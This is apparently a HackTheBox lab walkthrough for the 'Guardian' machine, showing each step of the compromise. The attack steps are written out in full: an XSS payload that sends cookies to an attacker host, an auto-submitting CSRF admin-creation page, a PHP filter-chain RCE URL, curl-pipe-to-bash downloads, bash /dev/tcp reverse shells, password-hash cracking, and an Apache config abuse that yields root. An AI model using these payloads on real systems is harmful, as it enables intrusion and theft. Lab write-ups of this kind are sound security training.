Guardian

📅 Last Updated: Sep 02, 2025 06:08 | 📄 Size: 29.8 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Hard | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ nmap -sC -sV -Pn 10.10.11.84 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-31 16:55 UTC
Nmap scan report for 10.10.11.84
Host is up (0.43s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_  256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://guardian.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.59 seconds

Add guardian.htbto /etc/hosts

Page check

guardian.htb From the student portalbutton, there is another subdomain here portal.guardian.htb Then add it to our /etc/hosts

portal.guardian.htb From help button, we can get Guardian_University_Student_Portal_Guide.pdf We can get the default password GU1234, we can generate the wordlist for usernames and brute-force the login page with the default pass

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Generate a username dictionary file in the format GUXXXXXXX
Example: GU0000000, GU0000001, ..., GU9999999
"""

def generate_usernames(prefix="GU", length=7, output_file="usernames.txt"):
    with open(output_file, "w") as f:
        for i in range(10**length):  # from 0000000 to 9999999
            username = f"{prefix}{i:0{length}d}"
            f.write(username + "\n")
    print(f"[+] Username dictionary generated: {output_file}")
    print(f"[+] Total usernames: {10**length}")

if __name__ == "__main__":
    generate_usernames()

Then we can try to use burpsuite Intruder to help us do that and burp the valid credit Then set the payload We can try to start attack and find the different status code back, although this would be a very long process You can find the account number after GU0142023will be valid here.

And we can get the valid username GU0142023 and the password GU1234to login to the portal From the chat page, we can try to find how to chat with admin The typical url is http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14 So I guess we can try http://portal.guardian.htb/student/chat.php?chat_users[0]=2&chat_users[1]=1 Then we can get the gitea:DHsNnk3V503

gitea.guardian.htb

Let's try to check it there with the credit jamil:DHsNnk3V503 Then we can try to login the account jamil

We can check the source code of portal.guardian.htb We can get the database credit root:Gu4rd14n_un1_1s_th3_b3st

Also, we can find /vendor/composer/installed.json it uses phpoffice/phpspreadsheet 3.7.0 with xss vuln: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx

Then let's make a payload xlsx file ><img src=x onerror="fetch('http://10.10.16.14/?cookie='+document.cookie)">

Then let's upload it to Assigmentspage There is only Static in Buinessassignment could be used here.

We can upload the malicious file here, then we can successfully get the result

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.84 - - [31/Aug/2025 17:32:42] "GET /?cookie=PHPSESSID=00u2eo00ehkkqohptv1l2gb6o4 HTTP/1.1" 200 -

Finally we can open the console of browser and change the phpseessidand reload this page

CSRF attack and php filiter LFI

We can act as lecturer sammy.treat

Then we can come to Notice Board http://portal.guardian.htb/lecturer/notices/create.php

It said the link will be reviewed by admin, so I guess we can try to find something interesting from the source code

We can find there is a create account function from the source code admin/createuser.php That means we can try to make a request to create a new admin account and we can sign into this account here

|---|
|`$username = $_POST['username'] ?? '';`|

|   |
|---|
|`$password = $_POST['password'] ?? '';`|

|   |
|---|
|`$full_name = $_POST['full_name'] ?? '';`|

|   |
|---|
|`$email = $_POST['email'] ?? '';`|

|   |
|---|
|`$dob = $_POST['dob'] ?? '';`|

|   |
|---|
|`$address = $_POST['address'] ?? '';`|

|   |
|---|
|`$user_role = $_POST['user_role'] ?? '';`|

So our strategy would be:

use it to do csrf attack on usercreate.php to create admin account, you need to bypass csrf token but you can simply notice that it is global, which means any csrf token for any user/request will work for any other user/request, so just get one from create notification endpoint and use it on your csrf payload to use usercreate.php for admin

So the csrf payload would be

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Creation Exploit</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        form { max-width: 400px; padding: 20px; border: 1px solid #ccc; border-radius: 5px; }
        input, select { width: 100%; margin: 10px 0; padding: 5px; }
        button { background-color: #4CAF50; color: white; padding: 10px 15px; border: none; border-radius: 5px; cursor: pointer; }
        button:hover { background-color: #45a049; }
    </style>
</head>
<body>
    <h2>Admin Creation Exploit</h2>
    <form method="POST" action="http://portal.guardian.htb/admin/createuser.php" id="exploitForm">
        <input type="hidden" name="csrf_token" value="ac77fe0d82e41d225b1e5f8b07c05c7b">
        <input type="hidden" name="username" value="*">
        <input type="hidden" name="password" value="*">
        <input type="hidden" name="full_name" value="New Admin">
        <input type="hidden" name="email" value="admin@domain.com">
        <input type="hidden" name="dob" value="1990-01-01">
        <input type="hidden" name="address" value="Admin Address">
        <input type="hidden" name="user_role" value="admin">
        <button type="submit">Create Admin Account</button>
    </form>

    <script>
        // Automatically submit the form
        document.getElementById('exploitForm').submit();
    </script>
</body>
</html>

For the csrf-token, you can try to use burpsuite to catch the request of creating and you can just change it from the payload.

You can just write this payload to index.htmland open the http server Then submit your link http://<your ip address>/,then it will worked and you can login with credit *:*

Then we can successfully get into admin portal

We can find on /admin/reports.php use php filter chains to get rce and shell from the source code

It checks for the presence of .. in the parameters to prevent directory traversal attacks such as ?report=../../etc/passwd.
It also only allows file names ending in enrollment.php / academic.php / financial.php / system.php.

So if we wanna bypass the check,we can just add ,system.phpin the end of payload. Also you can follow the link to get the detail of this vulnerable exploit https://medium.com/@lashin0x/local-file-inclusion-to-remote-code-execution-rce-bea0ec06342a

We need to use this tool https://github.com/synacktiv/php_filter_chain_generator Then create the malicious payload

python3 php_filter_chain_generator.py --chain '<?php system("id");?>'

Just remember make the payload like this

http://portal.guardian.htb/admin/reports.php?report=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp,system.php

Then you can find the command running:

So we can continue to make the reverse shell here

python3 php_filter_chain_generator.py --chain '<?php system("curl 10.10.16.14/shell.sh -o /tmp/shell.sh");?>'
python3 php_filter_chain_generator.py --chain '<?php system("chmod +x /tmp/shell.sh");?>'
python3 php_filter_chain_generator.py --chain '<?php system("/bin/bash -c /tmp/shell.sh");?>'

Remember to create your own shell script and open the http server

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ cat shell.sh 
/bin/bash -i >& /dev/tcp/10.10.16.14/443 0>&1

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ python3 -m http.server 80

We can successfully get a reverse shell here

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ nc -lnvp 443   
listening on [any] 443 ...
connect to [10.10.16.14] from (UNKNOWN) [10.10.11.84] 46804
bash: cannot set terminal process group (985): Inappropriate ioctl for device
bash: no job control in this shell
www-data@guardian:

Then we can try to upgrade the shell

upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")'
^Z
stty raw -echo; fg

Remember before we have got the database credit root:Gu4rd14n_un1_1s_th3_b3st

www-data@guardian:~/portal.guardian.htb/config$ cat config.php 
<?php
return [
    'db' => [
        'dsn' => 'mysql:host=localhost;dbname=guardiandb',
        'username' => 'root',
        'password' => 'Gu4rd14n_un1_1s_th3_b3st',
        'options' => []
    ],
    'salt' => '8Sb)tM1vs1SS'
];

Then we can find the password hash of accounts

mysql> select * from users;
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
| user_id | username           | password_hash                                                    | full_name            | email                           | dob        | address                                                                       | user_role | status | created_at          | updated_at          |
+---------+--------------------+------------------------------------------------------------------+----------------------+---------------------------------+------------+-------------------------------------------------------------------------------+-----------+--------+---------------------+---------------------+
|       1 | admin              | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 | System Admin         | admin@guardian.htb              | 2003-04-09 | 2625 Castlegate Court, Garden Grove, California, United States, 92645         | admin     | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
|       2 | jamil.enockson     | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 | Jamil Enocksson      | jamil.enockson@guardian.htb     | 1999-09-26 | 1061 Keckonen Drive, Detroit, Michigan, United States, 48295                  | admin     | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
|       3 | mark.pargetter     | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e | Mark Pargetter       | mark.pargetter@guardian.htb     | 1996-04-06 | 7402 Santee Place, Buffalo, New York, United States, 14210                    | admin     | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
|       4 | valentijn.temby    | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 | Valentijn Temby      | valentijn.temby@guardian.htb    | 1994-05-06 | 7429 Gustavsen Road, Houston, Texas, United States, 77218                     | lecturer  | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
|       5 | leyla.rippin       | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 | Leyla Rippin         | leyla.rippin@guardian.htb       | 1999-01-30 | 7911 Tampico Place, Columbia, Missouri, United States, 65218                  | lecturer  | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
|       6 | perkin.fillon      | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 | Perkin Fillon        | perkin.fillon@guardian.htb      | 1991-03-19 | 3225 Olanta Drive, Atlanta, Georgia, United States, 30368                     | lecturer  | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
|       7 | cyrus.booth        | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 | Cyrus Booth          | cyrus.booth@guardian.htb        | 2001-04-03 | 4214 Dwight Drive, Ocala, Florida, United States, 34474                       | lecturer  | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
|       8 | sammy.treat        | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 | Sammy Treat          | sammy.treat@guardian.htb        | 1997-03-26 | 13188 Mount Croghan Trail, Houston, Texas, United States, 77085               | lecturer  | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
|       9 | crin.hambidge      | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 | Crin Hambidge        | crin.hambidge@guardian.htb      | 1997-09-28 | 4884 Adrienne Way, Flint, Michigan, United States, 48555                      | lecturer  | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
|      10 | myra.galsworthy    | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 | Myra Galsworthy      | myra.galsworthy@guardian.htb    | 1992-02-20 | 13136 Schoenfeldt Street, Odessa, Texas, United States, 79769                 | lecturer  | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
|      11 | mireielle.feek     | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 | Mireielle Feek       | mireielle.feek@guardian.htb     | 2001-08-01 | 13452 Fussell Way, Raleigh, North Carolina, United States, 27690              | lecturer  | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |
|      12 | vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a | Vivie Smallthwaite   | vivie.smallthwaite@guardian.htb | 1993-04-02 | 8653 Hemstead Road, Houston, Texas, United States, 77293                      | lecturer  | active | 2025-08-31 08:30:03 | 2025-08-31 08:30:03 |

Then from /etc/passwd, we can try to find the valid account here.

www-data@guardian:~/portal.guardian.htb/admin$ cat /etc/passwd   
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
syslog:x:106:113::/home/syslog:/usr/sbin/nologin
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
tss:x:109:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:110:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:111:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
jamil:x:1000:1000:guardian:/home/jamil:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:121:MySQL Server,,,:/nonexistent:/bin/false
snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false
snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false
dnsmasq:x:115:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mark:x:1001:1001:ls,,,:/home/mark:/bin/bash
gitea:x:116:123:Git Version Control,,,:/home/gitea:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
sammy:x:1002:1003::/home/sammy:/bin/bash

We can try to crack the password of jamil mark sammy Also let's use the salt 8Sb)tM1vs1SS to help us to crack it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ hashcat jamil.hash -m 1410 /usr/share/wordlists/rockyou.txt

c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1410 (sha256($pass.$salt))
Hash.Target......: c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4...1vs1SS
Time.Started.....: Sun Aug 31 18:37:49 2025 (1 sec)
Time.Estimated...: Sun Aug 31 18:37:50 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  4351.6 kH/s (0.07ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1901568/14344385 (13.26%)
Rejected.........: 0/1901568 (0.00%)
Restore.Point....: 1901056/14344385 (13.25%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: coquina -> coon23
Hardware.Mon.#1..: Util: 65%

Started: Sun Aug 31 18:37:49 2025
Stopped: Sun Aug 31 18:37:51 2025

Then we can successfully get the credit jamil:copperhouse56and we can use ssh to connect it

jamil@guardian:~$ whoami
jamil
jamil@guardian:~$ id
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)

Privilege escalation

Firstly I would check sudo -l firstly

jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jamil may run the following commands on guardian:
    (mark) NOPASSWD: /opt/scripts/utilities/utilities.py

We can check the source code

jamil@guardian:~$ cat /opt/scripts/utilities/utilities.py
#!/usr/bin/env python3

import argparse
import getpass
import sys

from utils import db
from utils import attachments
from utils import logs
from utils import status


def main():
    parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
    parser.add_argument("action", choices=[
        "backup-db",
        "zip-attachments",
        "collect-logs",
        "system-status"
    ], help="Action to perform")
    
    args = parser.parse_args()
    user = getpass.getuser()

    if args.action == "backup-db":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        db.backup_database()
    elif args.action == "zip-attachments":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        attachments.zip_attachments()
    elif args.action == "collect-logs":
        if user != "mark":
            print("Access denied.")
            sys.exit(1)
        logs.collect_logs()
    elif args.action == "system-status":
        status.system_status()
    else:
        print("Unknown action.")

if __name__ == "__main__":
    main()

Also, we can even write to status.py

jamil@guardian:/opt/scripts/utilities/utils$ ls -al
total 24
drwxrwsr-x 2 root root   4096 Jul 10 14:20 .
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ..
-rw-r----- 1 root admins  287 Apr 19 08:15 attachments.py
-rw-r----- 1 root admins  246 Jul 10 14:20 db.py
-rw-r----- 1 root admins  226 Apr 19 08:16 logs.py
-rwxrwx--- 1 mark admins  307 Aug 30 23:15 status.py

Let's modify it

jamil@guardian:/opt/scripts/utilities/utils$ cat status.py 
import platform
import psutil
import os

def system_status():
    print("System:", platform.system(), platform.release())
    print("CPU usage:", psutil.cpu_percent(), "%")
    print("Memory usage:", psutil.virtual_memory().percent, "%")
    os.system("curl 10.10.16.14/shell.sh|bash")

Then let's exploit it

jamil@guardian:/opt/scripts/utilities/utils$ sudo -u mark /opt/scripts/utilities/utilities.py system-status
System: Linux 5.15.0-152-generic
CPU usage: 100.0 %
Memory usage: 37.2 %
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    46  100    46    0     0     29      0  0:00:01  0:00:01 --:--:--    29

Also get the reverse shell as mark

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ nc -lnvp 443   
listening on [any] 443 ...
connect to [10.10.16.14] from (UNKNOWN) [10.10.11.84] 43920
mark@guardian:/opt/scripts/utilities/utils$ whoami
whoami
mark

Continue to check the sudo -l

mark@guardian:/opt/scripts/utilities/utils$ sudo -l
sudo -l
Matching Defaults entries for mark on guardian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mark may run the following commands on guardian:
    (ALL) NOPASSWD: /usr/local/bin/safeapache2ctl

Then we can try to run that

mark@guardian:/opt/scripts/utilities/utils$ sudo /usr/local/bin/safeapache2ctl
sudo /usr/local/bin/safeapache2ctl
Usage: /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf

We can catch the flag by Includedirectly

# file.conf
ServerRoot "/etc/apache2"
Listen 8080
Include /home/mark/confs/../../../root/root.txt

Then run the command

mark@guardian:~/confs$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command 'cc8c833a9a857ea43506626cef51fc61', perhaps misspelled or defined by a module not included in the server configuration
Action '-f /home/mark/confs/file.conf' failed.
The Apache error log may have more information.

you can also use CustomLog for arbitary file write to drop a ssh key for root / or LoadFile to run a shared library.

For the reverse shell as root, I will show you the scripts by Cybertego

#shell.conf
LoadModule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so
ServerRoot "/etc/apache2"
ServerName localhost
PidFile /tmp/apache-rs.pid
Listen 127.0.0.1:8080
ErrorLog "|/bin/bash -c '/bin/bash -i >& /dev/tcp/YOURIP/4444 0>&1'"

Then we can run the command

sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/shell.conf

Finally we can get the reverse shell as root

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Guardian]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.16] from (UNKNOWN) [10.10.11.84] 53342
bash: cannot set terminal process group (23555): Inappropriate ioctl for device
bash: no job control in this shell
root@guardian:/etc/apache2# id
id
uid=0(root) gid=0(root) groups=0(root)
root@guardian:/etc/apache2# 

Description

Very interesting and professional exploitation of XSS and cross-site attacks

In summary:

from http://guardian.php/ get the username format as GU<3 DIGIT><YEAR> and also portal.guardian.htb
go to portal.guardian.htb on login there is a pdf with the default pass GU1234 inside
generate a wordlist for usernames and brute-force the login page with the default pass
check out chat: http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14 for gitea creds
on gitea.guardian.htb get the source code for portal.guardian.php
see it uses phpoffice/phpspreadsheet 3.7.0 with xss vuln: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-79xx-vf93-p7cx
use xss with sheetname to get the cookie for lecturer by submitting a xlsx file on assigment
login as lecturer, you can send a link to admin to visit on notice create
use this for csrf exploit on usercreate.php to create admin account, you need to bypass the csrf token but you can simply notice that it is global which means any csrf token for any user/request works for any other user/request, so just get one from create notice endpoint, then use that on your csrf payload to usercreate.php for admin
after that login with the newly created admin account on /admin/reports.php use php filter chains to get rce and shell
connect to db, crack the hash for jamil, with the salt from config.php
as jamil just hijack /opt/scripts/utilities/utils/status.py for mark
for root, you can just read the flag with Include /home/mark/confs/../../../root/root.txt (you can also use CustomLog for arbitary file write to drop a ssh key for root / or LoadFile to run a shared library)